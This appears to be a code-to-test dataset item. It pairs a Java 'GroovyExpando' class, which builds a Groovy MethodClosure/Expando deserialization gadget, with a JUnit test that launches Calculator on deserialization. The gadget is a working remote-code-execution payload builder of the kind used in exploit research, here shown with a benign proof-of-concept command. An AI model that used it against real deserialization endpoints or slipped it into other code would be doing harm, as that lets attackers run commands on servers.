### Question:
GroovyExpando extends Payload<Object> { @Override public Object pack(Object obj) throws Exception { String action = bullet.get("action"); MethodClosure methodClosure = new MethodClosure(obj, action); Expando expando = new Expando(); HashMap map = new HashMap<>(); map.put("hashCode", methodClosure); ReflectionHelper.setFieldValue(expando, "expandoProperties", map); return PayloadHelper.makeMap("foo",expando); }  @Override Serializer<?> getSerializer(); @Override Bullet getDefaultBullet(String command); @Override Object pack(Object obj);  }### Answer:
@Test public void pack() throws Exception { Payload payload = new GroovyExpando(); Bullet bullet = payload.getDefaultBullet("open /System/Applications/Calculator.app"); payload.setBullet(bullet); Serializer serializer = payload.getSerializer(); String serialized = (String) serializer.serialize(payload.getObject()); serializer.serialize(payload.getObject(), System.out); Object obj = serializer.deserialize(serialized); System.out.println(obj); }